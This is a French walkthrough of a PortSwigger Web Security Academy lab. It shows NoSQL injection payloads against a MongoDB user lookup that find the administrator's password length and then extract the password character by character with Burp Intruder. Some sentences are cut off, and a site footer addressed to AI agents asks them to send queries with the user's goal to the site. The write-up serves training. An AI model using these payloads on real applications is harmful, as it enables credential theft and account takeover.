> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/nosql-injection/data-extraction-via-nosql-injection.md).
# Extraction de données via injection NoSQL
Notes sur l'extraction de données via injection NoSQL pour les laboratoires PortSwigger Web Security Academy, incluant le flux d'exploitation, les tests de payload, la validation avec Burp Suite et le contexte de remédiation.
### Exploitation d'une injection NoSQL pour extraire des données
**Contexte du laboratoire**
La fonctionnalité de recherche d'utilisateurs de ce laboratoire est basée sur une base de données NoSQL **MongoDB**. / Elle est vulnérable à une \*\*injection NoSQL\*\*.
\*\* Objectif :\*\*/ Extraire le mot de passe de l'utilisateur **administrateur** puis se connecter à son compte.
Un compte valide est fourni :
* **Identifiant :** `wiener`
* **Mot de passe :** `peter`
```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```
**Analyse du fonctionnement**
Après s'être connecté à `wiener:peter`, la requête suivante est envoyée en arrière-plan :
```bash
GET /user/lookup?user=
```
Cette requête liste des informations sur les utilisateurs.
* Exemple :
```bash
GET /user/lookup?user=administrator
```
L'interface affiche alors :
```bash
Votre nom d'utilisateur est : wiener (rôle : utilisateur)
```
**Détection d'une vulnérabilité NoSQL**
En injectant une simple apostrophe :
```bash
administrator'
```
Le serveur renvoie une erreur :
```terraform
{
"message": "Une erreur s'est produite lors de l'obtention des détails de l'utilisateur"
}
```
Cependant, en ajoutant une condition toujours vraie :
```bash
administrator' || true ||'
```
La requête est acceptée, confirmant la présence d'une \*\*injection NoSQL\*\*.
**Extraction de la longueur du mot de passe**
Le `this.password.length` l'attribut est utilisé pour déterminer la taille du mot de passe.
Exemple de test :
```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```
Pour que cela fonctionne correctement, il est nécessaire de \*\*d
```bash
wiener' %26%26 this.password.length == 5 ||'
```
\*\* Application à l'administrateur\*\*
En répétant la méthode avec le `administrateur` utilisateur :
```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```
La condition est validée, indiquant que le mot de passe de l'administrateur contient **8 caractères**.
**Extraire caractère par caractère**
Puis filtrer par position :
```bash
administrator' %26%26 this.password[0]=='X
```
Cette requête est envoyée à **Intruder**.
### \*\* Attaque avec Intruder\*\*
Type d'attaque : **Bombe à grappes**
Paramètres :
* Position du caractère : `0` en `7` valeurs
* Caractères testés : alphabet (dictionnaire de lettres)
En analysant les réponses valides, le mot de passe est reconstitué.
| nombre | lettre |
| ------ | ------ |
| 0 | v |
| 1 | x |
| 2 | t |
| 3 | r |
| 4 | m |
| 5 | e |
| 6 | z |
| 7 | s |
**Résultat final**
**Mot de passe de l'utilisateur administrateur :**
`vxtrmezs`
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
